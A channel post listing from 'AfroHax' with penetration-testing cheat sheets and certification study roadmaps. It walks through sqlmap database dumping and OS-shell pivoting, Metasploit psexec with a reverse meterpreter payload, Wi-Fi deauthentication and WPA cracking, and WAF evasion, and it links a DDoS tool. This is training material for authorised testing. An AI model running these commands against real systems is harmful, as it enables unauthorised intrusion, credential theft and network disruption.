AfroHax
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频道帖子
Environment Setup & Resources :
Installing the ProjectDiscovery Suite :
The recommended method for managing these tools is via the ProjectDiscovery Tool Manager (pdtm).
bash go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest pdtm -iaOfficial Tool Repositories : github.com/projectdiscovery/subfinder github.com/projectdiscovery/httpx github.com/projectdiscovery/nuclei github.com/projectdiscovery/katana github.com/projectdiscovery/uncover github.com/projectdiscovery/chaos-client github.com/projectdiscovery/naabu github.com/projectdiscovery/dnsx github.com/projectdiscovery/tlsx github.com/projectdiscovery/cvemap github.com/projectdiscovery/notify Principle : Relying solely on standard testing methodologies yields only standard vulnerabilities. High-impact discoveries and significant bounty rewards are the result of meticulously mapping the unexpected elements of an organization's attack surface. Thorough discovery is the foundation of elite security testing. @AfroHax
| 2 | Standard operating procedure (SOP) for Attack Surface Management and Red Team reconnaissance.
The Philosophy of Discovery
Every system contains undocumented paths; the primary objective of a security assessment is to systematically uncover them. Effective reconnaissance goes beyond basic scanning; it requires identifying hidden, forgotten, or ignored infrastructure. Because critical vulnerabilities often reside within obscure endpoints, knowing exactly where to look constitutes a significant portion of successful red teaming.
The Analytical Mindset
A comprehensive assessment requires asking critical questions about the target environment :
What legacy systems or assets have been forgotten by the organization?
What services are running without active oversight or maintenance?
What undocumented connections exist within the network?
What exposed infrastructure is mistakenly presumed to be hidden or secure?
Execution Framework
Phase 1 : Surface Enumeration
The initial phase focuses on mapping the visible external footprint of the target.
bash
subfinder -d target.com -silent > subdomains.txt
cat subdomains.txt | httpx -status-code -title -tech-detect > live.txt
katana -list live.txt -jc -d 3 -o endpoints.txt
uncover -q "target.com" -e shodan,censys,fofa > hidden_assets.txt
Phase 2 : Deep Infrastructure Analysis
This phase expands the perimeter by analyzing DNS routing, active ports, and TLS certificate data to uncover obscured assets.
bash
chaos -d target.com -silent > chaos_subs.txt
naabu -list subdomains.txt -top-ports 1000 -o ports.txt
dnsx -l subdomains.txt -a -cname -resp -o dns_results.txt
tlsx -l live.txt -probe -cname -json -o tls_data.json
Phase 3 : Vulnerability Detection & Validation
Utilize automated templates and exposure mapping to identify misconfigurations and known CVEs across the confirmed live environment.
bash
httpx -l live.txt -sc -cl -ct -title -tech-detect -json -o enriched.json
nuclei -l live.txt -t cves/ -severity critical,high -o critical_vulns.txt
nuclei -l endpoints.txt -t exposures/ -o exposures.txt
nuclei -l live.txt -t misconfiguration/ -o misconfigs.txt
cvemap -q "target.com" -severity critical,high
Phase 4 : Orchestration & Alerting
Automate notifications to ensure the security team is immediately informed of high-priority findings.
bash
notify -silent -data critical_vulns.txt -provider discord
cat critical_vulns.txt | notify -silent -bulk -provider telegram
Phase 5 : Continuous Asset Discovery
Implement recursive searches and cross-reference search engine data to maintain an up-to-date map of the evolving attack surface.
bash
uncover -q "target.com" -e shodan,fofa | httpx -status-code -o deeper_assets.txt
subfinder -d target.com -recursive -silent > all_subs.txt
cat all_subs.txt | httpx -status-code 200 -o live_200.txt
Tool Spotlight : Uncover
uncover is a highly effective utility for identifying assets that are traditionally difficult to map.
Key Capabilities :
Simultaneously queries multiple external search engines (e.g., Shodan, Censys, FOFA).
Identifies assets that are absent from standard DNS records.
Discovers associated cloud infrastructure IP addresses.
Locates abandoned or forgotten subdomains.
Standard Operational Commands :
bash
uncover -q "target.com" -e shodan,censys,fofa
uncover -q "port:22" -e shodan -limit 100
uncover -q "http.title:admin" -e censys
uncover -q "target.com" -e shodan,fofa | httpx -status-code -o uncovered_assets.txt
Reference : github.com/projectdiscovery/uncover
The Core Discovery Framework
A mature discovery workflow moves sequentially through five core objectives :
1. Enumerate the Obvious : Utilizing tools like Subfinder.
2. Identify the Hidden : Utilizing tools like Chaos and Uncover.
3. Validate Live Assets : Utilizing tools like httpx and naabu.
4. Detect Exposures : Utilizing automated scanners like Nuclei.
5. Assess Exploitability : Utilizing mapping tools like cvemap. | 80 |
| 3 | sqlmap isn't just an automated SQL injection scanner; it’s the absolute foundation of database exploitation and backend infrastructure auditing. Whether you’re conducting web application penetration tests, hunting for bug bounties, or verifying secure coding practices, mastering this engine’s mechanics is non-negotiable.
Vulnerability Reconnaissance (Injection Mapping)
sqlmap -u "http://example.com/view.php?id=1" --batch
Before extracting data, you must map the injection surface. This probes the target URL, autonomously testing various injection techniques (boolean-based blind, time-based blind, error-based, UNION query, and stacked queries) against the specified parameters. The --batch flag ensures the tool runs uninterrupted by automatically selecting the default, safest option for any prompts that arise during the scan.
Complex Request Targeting
sqlmap -r burp_request.txt -p username --level 3 --risk 2
Finding a vulnerability is useless if you can't test complex POST bodies, cookies, or authenticated headers. This parses a raw HTTP request saved directly from an intercepting proxy like Burp Suite. By explicitly setting the -p flag, you force the engine to lock onto a specific, deeply embedded parameter, while elevating the level and risk ensures sqlmap tests heavier, more aggressive payloads that standard scans skip.
Backend Architecture Enumeration
sqlmap -u "http://example.com/view.php?id=1" --dbs --is-dba
A confirmed injection is just the beginning. This exploits the flaw to interact with the backend Database Management System (DBMS) architecture, forcing it to enumerate and reveal the names of all hosted databases. Checking --is-dba immediately verifies if your current session has maximum Database Administrator privileges a critical step in determining the severity of the compromise.
Targeted Data Exfiltration
sqlmap -u "http://example.com/view.php?id=1" -D app_db -T users --dump
You rarely want to aggressively dump an entire database, as the sheer volume of traffic can cause a denial of service or trip alarms. This precisely targets your extraction, locking onto a specific database (-D) and a specific table (-T). By doing this, you methodically exfiltrate only the most critical information, turning an abstract vulnerability into tangible, looted credentials.
WAF Evasion and Obfuscation
sqlmap -u "http://example.com/view.php?id=1" --tamper="space2comment,charencode" --random-agent
Modern web applications rarely leave their front doors completely unguarded. This modifies your injection payloads on the fly before they hit the wire. By substituting standard spaces with SQL comments or altering character encoding, you can often silently slip your malicious queries past Web Application Firewalls (WAFs) and Intrusion Prevention Systems (IPS) that rely on static signature detection.
Post-Exploitation OS Pivoting
sqlmap -u "http://example.com/view.php?id=1" --os-shell
If the database user has sufficient privileges, you aren't limited to just querying tables. This leverages advanced database features (like xp_cmdshell in MSSQL or INTO OUTFILE in MySQL) to upload a stager directly to the web directory. This effectively bridges the gap from a database flaw to a compromised server, granting you direct underlying operating system command execution.
@AfroHax | 110 |
| 4 | Metasploit isn't just an exploitation tool; it’s the absolute foundation of infrastructure penetration testing. Whether you’re red teaming, conducting internal network audits, or validating vulnerability remediations, mastering this framework's mechanics is non-negotiable.
Database and Workspace Initialization
msfdb init && msfconsole -q
Before attacking, you must initialize the PostgreSQL database. This ensures all your reconnaissance data, looted credentials, and host information are strictly organized. The -q flag drops the ASCII art banner, launching you quietly and directly into the MSF prompt so you can immediately begin staging.
Module Reconnaissance and Searching
search type:exploit platform:windows target:2019
Map your attack vectors. This sifts through thousands of modules to find the exact exploit, auxiliary scanner, or post-exploitation module you need. It is highly efficient because you can filter by CVE, disclosure year, or specific service architectures to instantly narrow down your payload delivery options without leaving the console.
Targeted Exploit Configuration
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.50
Finding a vulnerability is useless if you don't configure the engagement properly. This loads a specific exploit module into your active context and locks your crosshairs onto a target IP address or subnet. By doing this, you stage the exact parameters, SMB pipes, or protocol negotiations required to trigger the flaw on the remote host.
Payload Staging and Delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
You rarely rely on a simple, unstable command shell. This defines the post-exploitation payload in this case, an advanced reverse shell that instructs the target to establish a connection back to your attacking machine. When the exploit fires successfully, Meterpreter executes entirely in memory, evading many traditional disk-based antivirus signatures.
Execution and Exploitation
exploit -j
This turns a staged module into an active compromise. It fires the crafted network traffic sequence against the target. Running it with the -j (job) flag executes the attack in the background, freeing up your console so you can continue setting up other attacks or listeners while waiting for the target to execute the payload and return a session.
Post-Exploitation Verification
sessions -i 1
sysinfo
getuid
Not all shells are created equal. Before attempting complex lateral movement, you must interact with your newly acquired Meterpreter session to confirm your access level. This verifies the target's OS architecture and checks whether you are running as a standard user or have achieved NT AUTHORITY\SYSTEM privileges a strict prerequisite for dumping password hashes.
Engagement Data Management
workspace -a external_audit
hosts
services
If you aren't tracking your pivots and targets, you aren't acting professionally. These commands isolate your current engagement data into dedicated workspaces and allow you to instantly recall compromised hosts and running ports. Feed this database using db_nmap to automatically populate your target list, ensuring you never lose track of your attack surface during a complex operation.
@AfroHax | 99 |
| 5 | Aircrack-ng isn't just a Wi-Fi password cracker; it’s the absolute foundation of wireless network auditing. Whether you’re red teaming, conducting physical penetration tests, or securing enterprise WLANs, mastering this suite’s mechanics is non-negotiable.
Monitor Mode Enablement
airmon-ng start wlan0
Before attacking, you must detach your wireless card from standard managed mode. This script kills interfering processes (like NetworkManager) and flips your NIC into monitor mode, allowing it to sniff all raw 802.11 frames in the air, not just the ones addressed to its specific MAC address.
Wireless Reconnaissance (Airspace Mapping)
airodump-ng wlan0mon
Map the RF surface area. This passively captures wireless traffic to identify surrounding Access Points (APs), their MAC addresses (BSSIDs), operating channels, encryption types, and the clients currently connected to them. It is highly stealthy because it relies purely on listening to beacon frames and probe requests.
Targeted Packet Capture
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
Finding a vulnerable network is useless if you don't isolate the traffic. This locks your radio to a specific channel and targets a single AP. By doing this, you ensure your card doesn't channel-hop and miss the crucial 4-way EAPOL handshake frames exchanged when a client authenticates.
Deauthentication Attack
aireplay-ng -0 2 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
You rarely have time to wait for a user to connect naturally. This injects spoofed deauthentication frames into the air, forcing the target client to disconnect from the AP. When the device automatically reconnects a fraction of a second later, your running airodump-ng instance catches the WPA2 handshake.
WPA/WPA2 Handshake Cracking
aircrack-ng -w rockyou.txt capture-01.cap
This turns a captured handshake into a plaintext password. It relies on a dictionary attack, taking your wordlist, combining it with the AP's SSID (ESSID) to compute the Pairwise Master Key (PMK), and mathematically comparing the resulting hashes against the captured Message Integrity Code (MIC).
Packet Injection Verification
aireplay-ng -9 wlan0mon
Not all wireless cards and drivers are created equal. Before attempting complex attacks, this performs an injection test to confirm your NIC can successfully forge and inject arbitrary 802.11 frames into a target network's traffic stream a strict prerequisite for deauths and WEP attacks.
Capture Management
airodump-ng -w recon_output wlan0mon
If you aren't saving the pcap, you aren't hacking. The -w flag outputs your capture into multiple formats simultaneously (e.g., .cap, .csv, .netxml). Use the .cap file to feed your handshakes into Hashcat for GPU-accelerated cracking, or use the CSV data for parsing targets in external scripts.
@AfroHax | 168 |
| 6 | OSCP Exam Preparation Roadmap
Step 1 : Build Core OS & Networking Foundations
TCP/IP basics, Linux/Windows administration, command-line proficiency, and fundamental Bash/Python scripting.
Step 2 : Master Information Gathering & Enumeration
Nmap scanning, manual service enumeration (SMB, RPC, SNMP, LDAP), web directory brute-forcing, and structured note-taking.
Step 3 : Understand Web Application Attacks
SQL injection (SQLi), command injection, Local File Inclusion (LFI), and exploiting basic web application vulnerabilities.
Step 4 : Learn Exploitation Fundamentals
Searching Exploit-DB, modifying public exploits, compiling C/Python payloads, and catching reverse or bind shells.
Step 5 : Study Password Attacks & Hash Cracking
Hashcat, John the Ripper, online brute-forcing tools (Hydra), password mutation, and credential harvesting.
Step 6 : Master Linux Privilege Escalation
SUID/SGID binaries, cron jobs, PATH hijacking, misconfigured file permissions, kernel exploits, and using LinPEAS.
Step 7 : Master Windows Privilege Escalation
Unquoted service paths, registry misconfigurations, token impersonation, scheduled tasks, and using WinPEAS.
Step 8 : Conquer Active Directory (AD) Exploitation
Kerberoasting, AS-REP Roasting, BloodHound enumeration, Pass-the-Hash, and DCSync attacks.
Step 9 : Learn Pivoting & Lateral Movement
Port forwarding, SSH tunneling, Chisel, Ligolo-ng, Proxychains, and routing traffic through compromised hosts to access internal networks.
Step 10 : Practice Mock Exams & Professional Reporting
Root unguided machines (Proving Grounds/HackTheBox), simulate the 24-hour exam constraint, and practice writing detailed, reproducible penetration test reports.
Key Rule : Don't rely heavily on automated tools or Metasploit, as their usage is strictly limited on the exam. The OSCP tests your manual enumeration, perseverance ("Try Harder"), and ability to chain vulnerabilities under a strict 24-hour time limit. Document every step carefully the certification requires a professional, reproducible report.
@AfroHax | 176 |
| 7 | CCNA Exam Preparation Roadmap
Step 1 : Learn Networking Fundamentals
OSI Model, TCP/IP Model, IP addressing, subnetting, ports, and protocols.
Step 2 : Master Ethernet & Network Access
MAC addresses, ARP, switching concepts, VLANs, trunking, and STP.
Step 3 : Learn IPv4 & IPv6 Addressing
Subnetting, VLSM, route summarization, and IPv6 configuration.
Step 4 : Configure Routing Fundamentals
Static routes, default routes, and single-area OSPF.
Step 5 : Understand Network Services
DHCP, DNS, NAT, NTP, SNMP, Syslog, and QoS basics.
Step 6 : Learn Network Security Fundamentals
Access Control Lists (ACLs), port security, VPN concepts, and device hardening.
Step 7 : Study Wireless Networking
WLAN concepts, wireless security, APs, controllers, and Wi-Fi standards.
Step 8 : Learn Automation & Programmability Basics
APIs, JSON, automation concepts, and software-defined networking (SDN).
Step 9 : Practice in Labs Daily
Use Packet Tracer, GNS3, or CML to configure and troubleshoot networks.
Step 10 : Take Practice Exams & Review Weak Areas
Focus on troubleshooting, subnetting speed, and exam-style questions before scheduling the CCNA exam.
Key Rule : Don't just read. Configure everything you learn in a lab. The CCNA is as much a practical networking exam as it is a theory exam.
@AfroHax | 164 |
| 8 | CEH Exam Preparation Roadmap
Step 1 : Learn Ethical Hacking Fundamentals
Information security controls, cyber kill chain, MITRE ATT&CK framework, hacking phases, and vulnerability assessment.
Step 2 : Master Footprinting & Reconnaissance
Search engine dorking, WHOIS, DNS interrogation, OSINT tools, and active vs. passive recon.
Step 3: Understand Network Scanning & Enumeration
Nmap flags, ping sweeps, OS fingerprinting, port scanning, and extracting service info (SMB, SNMP, LDAP).
Step 4 : Learn System Hacking & Malware Threats
Password cracking, privilege escalation, steganography, covering tracks, trojans, and ransomware.
Step 5 : Study Sniffing & Social Engineering
MAC spoofing, ARP poisoning, Wireshark packet analysis, phishing, baiting, and human-based attacks.
Step 6 : Master DoS, DDoS & Session Hijacking
Botnets, SYN flooding, reflection attacks, active/passive hijacking, and network vs. application-level hijacking.
Step 7 : Understand Web Server & App Hacking
OWASP Top 10, SQL injection (SQLi), Cross-Site Scripting (XSS), CSRF, directory traversal, and parameter tampering.
Step 8 : Learn Wireless & Mobile Hacking
WPA/WPA2/WPA3 cracking, rogue APs, Bluetooth threats, jailbreaking/rooting, and mobile device management (MDM).
Step 9 : Explore Cloud, IoT & OT Security
Cloud architecture threats, container security, IoT vulnerabilities, and ICS/SCADA hacking concepts.
Step 10 : Review Cryptography & Take Practice Exams
Symmetric/asymmetric encryption, hashing, PKI, reviewing weak areas, and analyzing tool outputs (Nmap/Wireshark) before scheduling the CEH exam.
Key Rule : Don't just memorize definitions. Know your tools inside out. The CEH tests your ability to recognize the exact methodology of an attack, identify specific Nmap flags, and read raw tool outputs as much as it tests theory.
@AfroHax | 190 |
| 9 | https://github.com/pressly/goose | 241 |
| 10 | https://github.com/pkgxdev/pkgx | 235 |
| 11 | React posts and leave a comments | 135 |
| 12 | https://github.com/floci-io/floci | 362 |
| 13 | https://docs.httpsms.com/ | 453 |
| 14 | https://www.blackmagicdesign.com/in/products/davinciresolve | 446 |
| 15 | https://github.com/undergroundwires/privacy.sexy | 430 |
| 16 | https://github.com/datawhalechina/hello-agents | 396 |
| 17 | Hacker Arrested - Microsoft Windows GDID.pdf | 401 |
| 18 | Security Advisory - -Bad Epoll- Linux Kernel Vulnerability.pdf | 397 |
| 19 | https://github.com/eythaann/Seelen-UI | 441 |
| 20 | https://github.com/MatrixTM/MHDDoS | 471 |
